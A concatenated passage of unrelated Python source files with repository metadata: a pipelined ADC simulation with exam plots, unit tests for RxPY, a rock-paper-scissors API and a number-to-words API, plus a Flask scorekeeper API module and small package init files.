np.zeros(Nstage) xs[0] = x rs = np.zeros(Nstage) cumgain = 1 for k in np.arange(Nstage-1): [rs[k],xs[k+1]] = mdac(xs[k],th15,re15,ga15) cumgain *= 2 rs[k] = rs[k]/cumgain k=Nstage-1 # The last stage is a two-bit stage. # This two-bit stage needs to have one threshold at 0! # Being a two-bit stage, it implicitly has a gain of 2 rs[k] = quant(xs[k],[-0.5,0,0.5]) cumgain = cumgain*2 rs[k] = rs[k]/cumgain # output scale b = np.sum(rs)*cumgain return b # 2.5 Bit Stages followed by 1.5 Bit Stages and a final 1 Bit stage def pipe25b15b(x,N25,N15): # This is again the same as pipeA, but it has N25 2.5-bit stages followed # by N15 1.5-bit stages and one 1-bit stage. re15 = np.arange( -1/4, 1/4+0.01, 1/4 ) th15 = np.convolve( re15, np.array([1/2,1/2]) )[1:-1] ga15 = 2 # So we also need the thresholds and gains of the 2.5-bit MDAC: re25 = np.arange( -6/16, 6/16+0.01, 1/8 ) th25 = np.convolve( re25, np.array([1/2,1/2]) )[1:-1] ga25 = 4 # The total number of stages is now Nstage = N25+N15+1 xs = np.zeros(Nstage) xs[0] = x rs = np.zeros(Nstage) cumgain = 1 # First the 2.5-bit stages. for k in np.arange(N25): [rs[k],xs[k+1]] = mdac(xs[k],th25,re25,ga25) cumgain *= 4 rs[k] = rs[k]/cumgain # Then the 1.5-bit stages: their indices go from N25 to Nstage-1: for k in np.arange(N25,Nstage-1): [rs[k],xs[k+1]] = mdac(xs[k],th15,re15,ga15) cumgain *= 2 rs[k] = rs[k]/cumgain # We finish with the one-bit stage k=Nstage-1 rs[k] = quant(xs[k],[0]) cumgain = cumgain*1 rs[k] = rs[k]/cumgain # output scale b = np.sum(rs)*cumgain return b # 2.5 Bit Stages followed by a final 1 Bit stage def pipe25b(x,N25): # So we also need the thresholds and gains of the 2.5-bit MDAC: re25 = np.arange( -6/16, 6/16+0.01, 1/8 ) th25 = np.convolve( re25, np.array([1/2,1/2]) )[1:-1] ga25 = 4 # The total number of stages is now Nstage = N25+1 xs = np.zeros(Nstage) xs[0] = x rs = np.zeros(Nstage) cumgain = 1 # First the 2.5-bit stages. for k in np.arange(N25): [rs[k],xs[k+1]] = mdac(xs[k],th25,re25,ga25) cumgain *= 4 rs[k] = rs[k]/cumgain # We finish with the one-bit stage k=Nstage-1 rs[k] = quant(xs[k],[0]) cumgain = cumgain*1 rs[k] = rs[k]/cumgain # output scale b = np.sum(rs)*cumgain return b # 2.5 Bit Stages followed by a final 1 Bit stage def pipe25bNonid(x,N25): eps = 0.07 # comparator offset # So we also need the thresholds and gains of the 2.5-bit MDAC: re25 = np.arange( -6/16, 6/16+0.01, 1/8 ) th25 = np.convolve( re25, np.array([1/2,1/2]) )[1:-1] ga25 = 4.0 th25 = th25 + eps # The total number of stages is now Nstage = N25+1 xs = np.zeros(Nstage) xs[0] = x rs = np.zeros(Nstage) cumgain = 1 # First the 2.5-bit stages. for k in np.arange(N25): [rs[k],xs[k+1]] = mdac(xs[k],th25,re25,ga25) cumgain *= 4 rs[k] = rs[k]/cumgain # We finish with the one-bit stage k=Nstage-1 rs[k] = quant(xs[k],[0]) cumgain = cumgain*1 rs[k] = rs[k]/cumgain # output scale b = np.sum(rs)*cumgain return b # 2.5 Bit Stages followed by a final 1 Bit stage # Nonid - by Simon def pipe25bNonid_vs(x,N25, offset): eps = offset # threshold offset re25 = np.arange( -6/16, 6/16+0.01, 1/8 ) th25 = np.convolve( re25, np.array([1/2,1/2]) )[1:-1] ga25 = 4.0 # ------ INPUT HERE ------ th25[3] = th25[3] + eps # ------ # The total number of stages is now Nstage = N25+1 xs = np.zeros(Nstage) xs[0] = x rs = np.zeros(Nstage) cumgain = 1 # First the 2.5-bit stages. for k in np.arange(N25): [rs[k],xs[k+1]] = mdac(xs[k],th25,re25,ga25) cumgain *= 4 rs[k] = rs[k]/cumgain # We finish with the one-bit stage k=Nstage-1 rs[k] = quant(xs[k],[0]) cumgain = cumgain*1 rs[k] = rs[k]/cumgain # output scale b = np.sum(rs)*cumgain return b # DAC # dacA(0, 16) = -0.49999237060546875 # dacA(0, 2**16-1) = 0.5 def dacA(b, Nbit): # This is the correct DAC for an ideal Nbit ADC # The full range is 2**Nbit steps, 0 is -0.5+LSB/2, 15 is +0.5-LSB/2, so: y = -0.5 + b/2**Nbit + 1/2**(Nbit+1) return y def pipe35(x, Nstage): re35 = np.arange( -14/32 , 14/32+0.01, 1/16 ) th35 = np.convolve(re35, np.array([1/2,1/2]) )[1:-1] ga35 = 8 xs = np.zeros(Nstage) xs[0] = x rs = np.zeros(Nstage) cumgain = 1 # All but the last stage are 1.5-bit-stages: for k in np.arange(Nstage-1): # Use the appropriate MDAC: [rs[k],xs[k+1]] = mdac(xs[k],th35,re35,ga35) # The cumulative gain is multiplied by the gain of the stage: cumgain *= 8 # The region is then scaled by 1/cumgain; therefore the first stage # just ouputs its region number divided by its gain. rs[k] = rs[k]/cumgain # The last stage is a normal 1-bit stage with a gain of 1 k=Nstage-1 rs[k] = quant(xs[k],[0]) cumgain = cumgain*1 rs[k] = rs[k]/cumgain # The output of the ADC is the sum of all region numbers, but if we want # integers, they need to be scaled back by cumgain. b = np.sum(rs)*cumgain return b def pipe35Nonid(x, Nstage): re35 = np.arange( -14/32 , 14/32+0.01, 1/16 ) th35 = np.convolve(re35, np.array([1/2,1/2]) )[1:-1] ga35 = 8 th35[4] += 1/32*1.1 xs = np.zeros(Nstage) xs[0] = x rs = np.zeros(Nstage) cumgain = 1 # All but the last stage are 1.5-bit-stages: for k in np.arange(Nstage-1): # Use the appropriate MDAC: [rs[k],xs[k+1]] = mdac(xs[k],th35,re35,ga35) # The cumulative gain is multiplied by the gain of the stage: cumgain *= 8 # The region is then scaled by 1/cumgain; therefore the first stage # just ouputs its region number divided by its gain. rs[k] = rs[k]/cumgain # The last stage is a normal 1-bit stage with a gain of 1 k=Nstage-1 rs[k] = quant(xs[k],[0]) cumgain = cumgain*1 rs[k] = rs[k]/cumgain # The output of the ADC is the sum of all region numbers, but if we want # integers, they need to be scaled back by cumgain. b = np.sum(rs)*cumgain return b #%% EXAM QUESTIONS BELOW #%% # Test 3.5Bit MDAC eps = 0.04 # comparator offset re35 = np.arange( -14/32 , 14/32+0.01, 1/16 ) th35 = np.convolve(re35, np.array([1/2,1/2]) )[1:-1] ga35 = 8 vi = np.arange(0,1.0001,0.0001)-0.5 mo = np.array( [ mdac(x,th35,re35,ga35) for x in vi] ) fig,ax1 = plt.subplots() pcolor = 'tab:red' ax1.set_title('Figure 17.20 - a 1.5-bit pipelined converter stage') ax1.set_xlabel('MDAC input voltage') ax1.set_ylabel('MDAC digital value', color=pcolor) ax1.plot(vi, mo[:,0], color=pcolor) ax1.tick_params(axis='y', labelcolor=pcolor) ax1.grid(axis='x') ax2 = ax1.twinx() pcolor = 'tab:blue' ax2.set_ylabel('MDAC output voltage', color=pcolor) # we already handled the x-label with ax1 ax2.plot(vi, mo[:,1], color=pcolor) ax2.tick_params(axis='y', labelcolor=pcolor) ax2.grid() fig.tight_layout() # otherwise the right y-label is slightly clipped plt.show() #%% # Test 3.5Bit MDAC - NONIDEAL - with offset offs = 2/32*0.9 # comparator offset # 10% less offset has still a monotonic behaviour offs = 2/32 # 2/32 offset produces missing codes <== Indicator for offset too large re35 = np.arange( -14/32 , 14/32+0.01, 1/16 ) th35 = np.convolve(re35, np.array([1/2,1/2]) )[1:-1] ga35 = 8 th35[5] = th35[5] + offs vi = np.arange(0,1.0001,0.0001)-0.5 mo = np.array( [ mdac(x,th35,re35,ga35) for x in vi] ) fig,ax1 = plt.subplots() pcolor = 'tab:red' ax1.set_title('Figure 17.20 - a 1.5-bit pipelined converter stage') ax1.set_xlabel('MDAC input voltage') ax1.set_ylabel('MDAC digital value', color=pcolor) ax1.plot(vi, mo[:,0], color=pcolor) ax1.tick_params(axis='y', labelcolor=pcolor) ax1.grid(axis='x') ax2 = ax1.twinx() pcolor = 'tab:blue' ax2.set_ylabel('MDAC output voltage', color=pcolor) # we already handled the x-label with ax1 ax2.plot(vi, mo[:,1], color=pcolor) ax2.tick_params(axis='y', labelcolor=pcolor) ax2.grid() fig.tight_layout() # otherwise the right y-label is slightly clipped plt.show() #%% # compare 3.5 bit ADC with one that has offset # does not work. some gain is wrong Nbits = 13 Nstages = 4 vi = np.arange(0,1.0001,0.0001)-0.5 ro = np.array([ pipe35(x,Nstages) for x in vi ]) vo = np.array( [ dacA(b,Nbits) for b in ro ] ) roni = np.array([ pipe35Nonid(x,Nstages) for x in vi ]) voni = np.array( [ dacA(b,Nbits) for b in roni ] ) # Diagnostic output print('This is a %d-bit converter.'%(Nbits)) print('The five smallest an five largest numbers in the output vector are:') print(np.unique(ro)[[0,1,2,3,4,-5,-4,-3,-2,-1]] ) print('If all is well, these numbers should be bounded by',([0,2**Nbits-1])) print(np.unique(roni)[[0,1,2,3,4,-5,-4,-3,-2,-1]] ) print('If all is well, these numbers should be bounded by',([0,2**Nbits-1])) fig,ax1 = plt.subplots() pcolor = 'tab:orange' ax1.plot(vi, vo, color=pcolor) pcolor = 'tab:red' ax1.set_xlabel('ADC input voltage') ax1.set_ylabel('ADC input and DAC ouput voltage', color=pcolor) ax1.plot(vi, vi, color=pcolor) ax1.plot(vi, voni, color=pcolor) ax1.tick_params(axis='y', labelcolor=pcolor) ax2 = ax1.twinx() pcolor = 'tab:cyan' ax2.plot(vi, (voni-vi)*2**Nbits, color=pcolor) pcolor = 'tab:blue' ax2.set_ylabel('Quantization error in LSB', color=pcolor) # we already handled the x-label with ax1 ax2.plot(vi, (voni-vi)*2**Nbits, color=pcolor) ax2.tick_params(axis='y', labelcolor=pcolor) ax2.set_ylim(-8,8) plt.grid() fig.tight_layout() # otherwise the right y-label is slightly clipped plt.show() #%% # use 6 x 2.5bit instead # I still don't see anything happening even with large offsets # plotting wrong? offset = 8/16 Nbits = 13 # only odd numbers N25 = int((Nbits-1)/2) vi = np.arange(0,1.0001,0.0001)-0.5 ro25 = np.array( [ pipe25b(x,N25) for x in vi ] ) vo25 = np.array( [ dacA(b,Nbits) for b in ro25 ] ) # NONIDEAL ro25ni = np.array( [ pipe25bNonid_vs(x,N25,offset) for x in vi ] ) vo25ni = np.array( [ dacA(b,Nbits) for b in ro25 ] ) # Diagnostic output print('This is a %d-bit converter.'%(Nbits)) print('The five smallest an five largest numbers in the output vector are:') print(np.unique(ro25)[[0,1,2,3,4,-5,-4,-3,-2,-1]] ) print('If all is well, these numbers should be bounded by',([0,2**Nbits-1])) print(np.unique(ro25ni)[[0,1,2,3,4,-5,-4,-3,-2,-1]] ) print('If all is well, these numbers should be bounded by',([0,2**Nbits-1])) fig,ax1 = plt.subplots() pcolor = 'tab:orange' ax1.plot(vi, vo25, color=pcolor) pcolor = 'tab:red' ax1.set_xlabel('ADC input voltage') ax1.set_ylabel('ADC input and DAC ouput voltage', color=pcolor) ax1.plot(vi, vi, color=pcolor) ax1.plot(vi, vo25ni, color=pcolor) ax1.tick_params(axis='y', labelcolor=pcolor) ax2 = ax1.twinx() pcolor = 'tab:cyan' ax2.plot(vi, (vo25ni-vi)*2**Nbits, color=pcolor) pcolor = 'tab:blue' ax2.set_ylabel('Quantization error in LSB', color=pcolor) # we already handled the x-label with ax1 ax2.plot(vi, (vo25ni-vi)*2**Nbits, color=pcolor) ax2.tick_params(axis='y', labelcolor=pcolor) ax2.set_ylim(-8,8) plt.grid()
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7
e3b8c22d44396d59766dad36587a7e812798f12d
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py
Python
tests/test_observable/test_all.py
AlexMost/RxPY
05cb14c72806dc41e243789c05f498dede11cebd
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
tests/test_observable/test_all.py
AlexMost/RxPY
05cb14c72806dc41e243789c05f498dede11cebd
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
tests/test_observable/test_all.py
AlexMost/RxPY
05cb14c72806dc41e243789c05f498dede11cebd
[ "ECL-2.0", "Apache-2.0" ]
1
2021-11-04T11:13:49.000Z
2021-11-04T11:13:49.000Z
import unittest from rx import Observable from rx.testing import TestScheduler, ReactiveTest, is_prime, MockDisposable from rx.disposables import Disposable, SerialDisposable on_next = ReactiveTest.on_next on_completed = ReactiveTest.on_completed on_error = ReactiveTest.on_error subscribe = ReactiveTest.subscribe subscribed = ReactiveTest.subscribed disposed = ReactiveTest.disposed created = ReactiveTest.created class TestAll(unittest.TestCase): def test_all_empty(self): scheduler = TestScheduler() msgs = [on_next(150, 1), on_completed(250)] xs = scheduler.create_hot_observable(msgs) def create(): return xs.all(lambda x: x > 0) res = scheduler.start(create=create).messages res.assert_equal(on_next(250, True), on_completed(250)) def test_all_return(self): scheduler = TestScheduler() msgs = [on_next(150, 1), on_next(210, 2), on_completed(250)] xs = scheduler.create_hot_observable(msgs) def create(): return xs.all(lambda x: x > 0) res = scheduler.start(create=create).messages res.assert_equal(on_next(250, True), on_completed(250)) def test_all_return_not_match(self): scheduler = TestScheduler() msgs = [on_next(150, 1), on_next(210, -2), on_completed(250)] xs = scheduler.create_hot_observable(msgs) def create(): return xs.all(lambda x: x > 0) res = scheduler.start(create=create).messages res.assert_equal(on_next(210, False), on_completed(210)) def test_all_some_none_match(self): scheduler = TestScheduler() msgs = [on_next(150, 1), on_next(210, -2), on_next(220, -3), on_next(230, -4), on_completed(250)] xs = scheduler.create_hot_observable(msgs) def create(): return xs.all(lambda x: x > 0) res = scheduler.start(create=create).messages res.assert_equal(on_next(210, False), on_completed(210)) def test_all_some_match(self): scheduler = TestScheduler() msgs = [on_next(150, 1), on_next(210, -2), on_next(220, 3), on_next(230, -4), on_completed(250)] xs = scheduler.create_hot_observable(msgs) def create(): return xs.all(lambda x: x > 0) res = scheduler.start(create=create).messages res.assert_equal(on_next(210, False), on_completed(210)) def test_all_some_all_match(self): scheduler = TestScheduler() msgs = [on_next(150, 1), on_next(210, 2), on_next(220, 3), on_next(230, 4), on_completed(250)] xs = scheduler.create_hot_observable(msgs) def create(): return xs.all(lambda x: x > 0) res = scheduler.start(create=create).messages res.assert_equal(on_next(250, True), on_completed(250)) def test_all_throw(self): ex = 'ex' scheduler = TestScheduler() msgs = [on_next(150, 1), on_error(210, ex)] xs = scheduler.create_hot_observable(msgs) def create(): return xs.all(lambda x: x > 0) res = scheduler.start(create=create).messages res.assert_equal(on_error(210, ex)) def test_all_never(self): scheduler = TestScheduler() msgs = [on_next(150, 1)] xs = scheduler.create_hot_observable(msgs) def create(): return xs.all(lambda x: x > 0) res = scheduler.start(create=create).messages res.assert_equal() if __name__ == '__main__': unittest.main()
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0.139485
0.074723
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0.103321
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0.781827
0.781827
0.781827
0.745849
0.727399
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0.053751
0.246201
3,554
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false
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7
e3bb3c7fac52962f533b00e0bb98e0dbede9fc8c
216
py
Python
output/models/ms_data/element/test115044_3_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
1
2021-08-14T17:59:21.000Z
2021-08-14T17:59:21.000Z
output/models/ms_data/element/test115044_3_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
4
2020-02-12T21:30:44.000Z
2020-04-15T20:06:46.000Z
output/models/ms_data/element/test115044_3_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
null
null
null
from output.models.ms_data.element.test115044_3_xsd.test115044_3 import ( E, Root, ) from output.models.ms_data.element.test115044_3_xsd.test115044_inc import E1 __all__ = [ "E", "Root", "E1", ]
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0
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0
0
8
e3be5581ec2214f95ec25af326673e0029519d74
6,617
py
Python
resources/scorekeepers.py
questionlp/api.wwdt.me
38dc0a471f176969913b17f3c87c22745078c196
[ "Apache-2.0" ]
3
2019-07-24T20:06:52.000Z
2019-11-13T04:13:01.000Z
resources/scorekeepers.py
questionlp/api.wwdt.me
38dc0a471f176969913b17f3c87c22745078c196
[ "Apache-2.0" ]
2
2021-03-20T15:23:21.000Z
2021-05-15T21:55:11.000Z
resources/scorekeepers.py
questionlp/api.wwdt.me
38dc0a471f176969913b17f3c87c22745078c196
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright (c) 2018-2019 Linh Pham # wwdtm is relased under the terms of the Apache License 2.0 """This module provides functions that handle the API endpoint requests for /scorekeepers""" import mysql.connector from mysql.connector.errors import DatabaseError, ProgrammingError from flask import Flask, jsonify, abort, make_response, request from .dicts import error_dict, fail_dict, success_dict from wwdtm.scorekeeper import details, info def get_scorekeepers(database_connection: mysql.connector.connect): """Retrieve a list of scoreekeepers and their corresponding information""" try: database_connection.reconnect() scorekeepers = info.retrieve_all(database_connection) if not scorekeepers: response = fail_dict("scorekeepers", "No scorekeepers found") return jsonify(response), 404 return jsonify(success_dict("scorekeepers", scorekeepers)), 200 except ProgrammingError: response = error_dict("Unable to retrieve scorekeepers from the " "database") return jsonify(response), 500 except DatabaseError: response = error_dict("Database error occurred while retrieving " "scorekeepers from the database") return jsonify(response), 500 except: abort(500) def get_scorekeeper_by_id(scorekeeper_id: int, database_connection: mysql.connector.connect): """Retrieve a scorekeeper based on their ID""" try: database_connection.reconnect() scorekeeper_info = info.retrieve_by_id(scorekeeper_id, database_connection) if not scorekeeper_info: message = "Scorekeeper ID {} not found".format(scorekeeper_id) response = fail_dict("scorekeeper", message) return jsonify(response), 404 return jsonify(success_dict("scorekeeper", scorekeeper_info)), 200 except ProgrammingError: response = error_dict("Unable to retrieve scorekeeper information " "from the database") return jsonify(response), 500 except DatabaseError: response = error_dict("Database error occurred while retrieving " "scorekeeper information") return jsonify(response), 500 except: abort(500) def get_scorekeeper_details_by_id(scorekeeper_id: int, database_connection: mysql.connector.connect): """Retrieve a scorekeeper and their appearance data based on their ID""" try: database_connection.reconnect() scorekeeper_details = details.retrieve_by_id(scorekeeper_id, database_connection) if not scorekeeper_details: message = "Scorekeeper ID {} not found".format(scorekeeper_id) response = fail_dict("scorekeeper", message) return jsonify(response), 404 return jsonify(success_dict("scorekeeper", scorekeeper_details)), 200 except ProgrammingError: response = error_dict("Unable to retrieve scorekeeper information " "from the database") return jsonify(response), 500 except DatabaseError: response = error_dict("Database error occurred while retrieving " "scorekeeper information") return jsonify(response), 500 except: abort(500) def get_scorekeeper_details(database_connection: mysql.connector.connect): """Retrieve a list of scorekeeper and their corresponding appearances""" try: database_connection.reconnect() scorekeeper_details = details.retrieve_all(database_connection) if not details: response = fail_dict("scorekeepers", "No scorekeepers found") return jsonify(response), 404 return jsonify(success_dict("scorekeepers", scorekeeper_details)), 200 except ProgrammingError: response = error_dict("Unable to retrieve scorekeepers from the " "database") return jsonify(response), 500 except DatabaseError: response = error_dict("Database error occurred while retrieving " "scorekeepers from database") return jsonify(response), 500 except: abort(500) def get_scorekeeper_by_slug(scorekeeper_slug: str, database_connection: mysql.connector.connect): """Retrieve a scorekeeper based on their slug""" try: database_connection.reconnect() scorekeeper_info = info.retrieve_by_slug(scorekeeper_slug, database_connection) if not scorekeeper_info: message = "Scorekeeper slug '{}' not found".format(scorekeeper_slug) response = fail_dict("scorekeeper", message) return jsonify(response), 404 return jsonify(success_dict("scorekeeper", scorekeeper_info)), 200 except ProgrammingError: response = error_dict("Unable to retrieve scorekeeper information " "from the database") return jsonify(response), 500 except DatabaseError: response = error_dict("Database error occurred while retrieving " "scorekeeper information") return jsonify(response), 500 except: abort(500) def get_scorekeeper_details_by_slug(scorekeeper_slug: str, database_connection: mysql.connector.connect): """Retrieve a scorekeeper and their appearance data based on their slug""" try: database_connection.reconnect() scorekeeper_details = details.retrieve_by_slug(scorekeeper_slug, database_connection) if not scorekeeper_details: message = "Scorekeeper slug '{}' not found".format(scorekeeper_slug) response = fail_dict("scorekeeper", message) return jsonify(response), 404 return jsonify(success_dict("scorekeeper", scorekeeper_details)), 200 except ProgrammingError: response = error_dict("Unable to retrieve scorekeeper information " "from the database") return jsonify(response), 500 except DatabaseError: response = error_dict("Database error occurred while retrieving " "scorekeeper information") return jsonify(response), 500 except: abort(500)
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0
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0
0
0
0
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7
540376b6c4d065893aec679e76b607a9e96cae7b
5,115
py
Python
rps/api_test.py
Maddemacher/rps-py
c8ae4edbefde43bb6a81c507812eb88d31488cb2
[ "MIT" ]
null
null
null
rps/api_test.py
Maddemacher/rps-py
c8ae4edbefde43bb6a81c507812eb88d31488cb2
[ "MIT" ]
null
null
null
rps/api_test.py
Maddemacher/rps-py
c8ae4edbefde43bb6a81c507812eb88d31488cb2
[ "MIT" ]
null
null
null
import json def _get_game(client, game_id, expected_status=200): response = client.get(f'/api/game/{game_id}') assert response.status_code == expected_status if (expected_status == 200): return json.loads(response.get_data(as_text=True)) return None def _create_game(client, name='emil', expected_status=201): response = client.post( '/api/game', data=json.dumps({'name': name}), content_type='application/json' ) assert response.status_code == expected_status if expected_status == 201: return response.get_data(as_text=True) return None def _join_player(client, game_id, name='lasse', expected_status=200): response = client.put( f'/api/game/{game_id}/join', data=json.dumps({'name': name}), content_type='application/json' ) assert response.status_code == expected_status def _make_move(client, game_id, name, move, expected_status=200): response = client.put( f'/api/game/{game_id}/move', data=json.dumps({ 'name': name, 'move': move, }), content_type='application/json' ) assert response.status_code == expected_status def test_get_unknown_game(client): _get_game(client, "asd", 404) def test_create_new_game(client): game_id = _create_game(client) game = _get_game(client, game_id) assert len(game['players']) == 1 assert game['players'][0]['name'] == "emil" return game_id def test_create_new_game_without_name(client): game_id = _create_game(client, "", 400) game_id = _create_game(client, None, 400) def test_join_second_player(client): game_id = _create_game(client) _join_player(client, game_id) game = _get_game(client, game_id) assert len(game['players']) == 2 assert game['players'][1]['name'] == "lasse" def test_cant_join_third_player(client): game_id = _create_game(client) _join_player(client, game_id) _join_player(client, game_id, "hej", 412) game = _get_game(client, game_id) assert len(game['players']) == 2 assert game['players'][1]['name'] == "lasse" def test_join_player_with_same_name(client): game_id = _create_game(client, "emil") _join_player(client, game_id, "emil", 409) game = _get_game(client, game_id) assert len(game['players']) == 1 def test_make_moves(client): game_id = _create_game(client, "emil") _join_player(client, game_id, "lasse") _make_move(client, game_id, "emil", "rock") _make_move(client, game_id, "lasse", "rock") game = _get_game(client, game_id) def test_make_unknown_move(client): game_id = _create_game(client, "emil") _make_move(client, game_id, "emil", "asd", 400) def test_make_empty_move(client): game_id = _create_game(client, "emil") _make_move(client, game_id, "emil", "", 400) def test_make_none_move(client): game_id = _create_game(client, "emil") _make_move(client, game_id, "emil", None, 400) def test_does_not_show_moves_until_done(client): game_id = _create_game(client, "emil") _make_move(client, game_id, "emil", "rock") game = _get_game(client, game_id) assert game['players'][0]['name'] == 'emil' assert not 'move' in game['players'][0] def test_player_one_wins(client): game_id = _create_game(client, "emil") _join_player(client, game_id, "lasse") _make_move(client, game_id, "emil", "paper") _make_move(client, game_id, "lasse", "rock") game = _get_game(client, game_id) assert game['result'] == 'emil wins' def test_player_two_wins(client): game_id = _create_game(client, "emil") _join_player(client, game_id, "lasse") _make_move(client, game_id, "emil", "paper") _make_move(client, game_id, "lasse", "scissors") game = _get_game(client, game_id) assert game['result'] == 'lasse wins' def test_tie(client): game_id = _create_game(client, "emil") _join_player(client, game_id, "lasse") _make_move(client, game_id, "emil", "paper") _make_move(client, game_id, "lasse", "paper") game = _get_game(client, game_id) assert game['result'] == 'tie' def test_rock_beats_scissors(client): game_id = _create_game(client, "emil") _join_player(client, game_id, "lasse") _make_move(client, game_id, "emil", "rock") _make_move(client, game_id, "lasse", "scissors") game = _get_game(client, game_id) assert game['result'] == 'emil wins' def test_scissors_beat_paper(client): game_id = _create_game(client, "emil") _join_player(client, game_id, "lasse") _make_move(client, game_id, "emil", "scissors") _make_move(client, game_id, "lasse", "paper") game = _get_game(client, game_id) assert game['result'] == 'emil wins' def test_paper_beats_rock(client): game_id = _create_game(client, "emil") _join_player(client, game_id, "lasse") _make_move(client, game_id, "emil", "paper") _make_move(client, game_id, "lasse", "rock") game = _get_game(client, game_id) assert game['result'] == 'emil wins'
24.241706
69
0.667644
715
5,115
4.401399
0.106294
0.123928
0.228789
0.111853
0.833174
0.766126
0.743883
0.732444
0.732444
0.674293
0
0.012322
0.190811
5,115
210
70
24.357143
0.748007
0
0
0.579365
0
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0.114978
0.009386
0
0
0
0
0.150794
1
0.166667
false
0
0.007937
0
0.214286
0
0
0
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null
0
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1
0
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0
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0
0
0
0
0
0
0
0
0
0
7
58843d3874e13b05d5404b8490aefdd87003ae23
67
py
Python
src/dizest/core/__init__.py
season-framework/dizest
2b36300e84dccb437535d76b294b2053e5ac00e6
[ "MIT" ]
2
2022-01-18T02:38:19.000Z
2022-01-18T04:26:03.000Z
src/dizest/core/__init__.py
season-framework/dizest
2b36300e84dccb437535d76b294b2053e5ac00e6
[ "MIT" ]
null
null
null
src/dizest/core/__init__.py
season-framework/dizest
2b36300e84dccb437535d76b294b2053e5ac00e6
[ "MIT" ]
null
null
null
from dizest.core import kernel from dizest.core.obj import Workflow
33.5
36
0.850746
11
67
5.181818
0.636364
0.350877
0.491228
0
0
0
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0
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0
0.104478
67
2
36
33.5
0.95
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0
1
0
1
0
1
0
0
7
5469fd5a8a852e535065ab906c600f59f93ab46b
5,171
py
Python
api/test_n2w-api.py
lucab85/n2w
2113e02768c2e67c9caf9547e133662b9ee26885
[ "Apache-2.0" ]
null
null
null
api/test_n2w-api.py
lucab85/n2w
2113e02768c2e67c9caf9547e133662b9ee26885
[ "Apache-2.0" ]
null
null
null
api/test_n2w-api.py
lucab85/n2w
2113e02768c2e67c9caf9547e133662b9ee26885
[ "Apache-2.0" ]
null
null
null
# test_n2w-api.py import unittest import os import json from app import create_app class n2wapiTestCase(unittest.TestCase): """This class represents the n2w-api Test Case""" def setUp(self): self.app = create_app(config_name="testing") self.client = self.app.test_client self.app.app_context() def test_n2wapi_get_en(self): number = 11 text = "eleven" lang = "en" url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang rv = self.client().get(url) self.assertEqual(rv.status_code, 200) self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') result_in_json = json.loads(rv.data.decode('utf-8')) self.assertEqual(number, result_in_json['number']) self.assertEqual(text, result_in_json['text']) self.assertEqual(lang, result_in_json['lang']) number = 121 text = "one hundred and twenty-one" lang = "en" url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang rv = self.client().get(url) self.assertEqual(rv.status_code, 200) self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') result_in_json = json.loads(rv.data.decode('utf-8')) self.assertEqual(number, result_in_json['number']) self.assertEqual(text, result_in_json['text']) self.assertEqual(lang, result_in_json['lang']) number = 11.01 text = "eleven point zero one" lang = "en" url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang rv = self.client().get(url) self.assertEqual(rv.status_code, 200) self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') result_in_json = json.loads(rv.data.decode('utf-8')) self.assertEqual(number, result_in_json['number']) self.assertEqual(text, result_in_json['text']) self.assertEqual(lang, result_in_json['lang']) def test_n2wapi_get_it(self): number = 11 text = "undici" lang = "it" url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang rv = self.client().get(url) self.assertEqual(rv.status_code, 200) self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') result_in_json = json.loads(rv.data.decode('utf-8')) self.assertEqual(number, result_in_json['number']) self.assertEqual(text, result_in_json['text']) self.assertEqual(lang, result_in_json['lang']) number = 121 text = "centoventiuno" lang = "it" url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang rv = self.client().get(url) self.assertEqual(rv.status_code, 200) self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') result_in_json = json.loads(rv.data.decode('utf-8')) self.assertEqual(number, result_in_json['number']) self.assertEqual(text, result_in_json['text']) self.assertEqual(lang, result_in_json['lang']) number = 11.01 text = "undici virgola zero uno" lang = "it" url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang rv = self.client().get(url) self.assertEqual(rv.status_code, 200) self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') result_in_json = json.loads(rv.data.decode('utf-8')) self.assertEqual(number, result_in_json['number']) self.assertEqual(text, result_in_json['text']) self.assertEqual(lang, result_in_json['lang']) def test_n2wapi_langs(self): url = '/n2w/api/v1.0/langs' rv = self.client().get(url) self.assertEqual(rv.status_code, 200) self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') result_in_json = json.loads(rv.data.decode('utf-8')) self.assertIsInstance(result_in_json['langs'], list) def test_n2wapi_get_400(self): number = 11 lang = "XX" url = '/n2w/api/v1.0/get/' + str(number) + "/" + lang rv = self.client().get(url) self.assertEqual(rv.status_code, 400) self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') def test_n2wapi_get_404(self): url = '/n2w/' rv = self.client().get(url) self.assertEqual(rv.status_code, 404) self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') url = '/n2w/api/' rv = self.client().get(url) self.assertEqual(rv.status_code, 404) self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') url = '/n2w/api/v1.0/' rv = self.client().get(url) self.assertEqual(rv.status_code, 404) self.assertEqual(rv.content_type, "application/json") self.assertEqual(rv.headers['Access-Control-Allow-Origin'], '*') url = '/n2w/api/v1.0/get/' rv = self.client().get(url) self.assertEqual(rv.status_code, 404) 